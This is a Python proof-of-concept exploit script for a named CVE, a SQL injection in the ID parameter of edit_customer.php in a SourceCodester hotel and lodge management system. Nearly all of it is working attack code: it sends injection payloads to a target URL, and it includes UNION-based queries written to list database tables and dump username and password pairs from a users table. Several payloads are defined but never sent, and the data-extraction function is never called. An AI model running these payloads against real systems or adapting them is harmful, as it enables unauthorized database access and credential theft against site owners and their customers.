# CVE-2025-11471 - SourceCodester Hotel and Lodge Management System SQL Injection PoC
# Vulnerability: SQL Injection in /edit_customer.php via ID parameter
# Author: Security Researcher
import requests
import sys
# Target configuration
TARGET_URL = "http://target.com/edit_customer.php"
VULNERABLE_PARAM = "ID"
def exploit_sql_injection(target_url, param_name):
"""
Exploit SQL injection vulnerability in edit_customer.php
The ID parameter is vulnerable to SQL injection
"""
# Basic SQL injection payload to verify vulnerability
payload = "1' OR '1'='1"
# Union-based SQL injection to extract database version
union_payload = "1' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -"
# Time-based blind SQL injection payload
time_based_payload = "1' AND SLEEP(5)-- -"
# Boolean-based blind SQL injection payload
boolean_payload = "1' AND 1=1-- -"
# Error-based SQL injection payload
error_payload = "1' AND extractvalue(1,concat(0x7e,version()))-- -"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
print(f"[*] Testing SQL injection on {target_url}")
# Test with basic payload
data = {param_name: payload}
try:
response = requests.get(target_url, params=data, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Response received (Status: {response.status_code})")
print(f"[+] Response length: {len(response.text)}")
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
return None
def extract_data(target_url, param_name):
"""
Extract sensitive data using UNION-based SQL injection
"""
# Extract table names
tables_payload = "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -"
# Extract user credentials
creds_payload = "1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10 FROM users-- -"
data = {param_name: tables_payload}
headers = {"User-Agent": "Mozilla/5.0"}
try:
response = requests.get(target_url, params=data, headers=headers, timeout=10)
return response.text
except Exception as e:
print(f"[-] Error extracting data: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = TARGET_URL
result = exploit_sql_injection(target, VULNERABLE_PARAM)
if result:
print("[+] Vulnerability confirmed!")
else:
print("[-] Could not confirm vulnerability")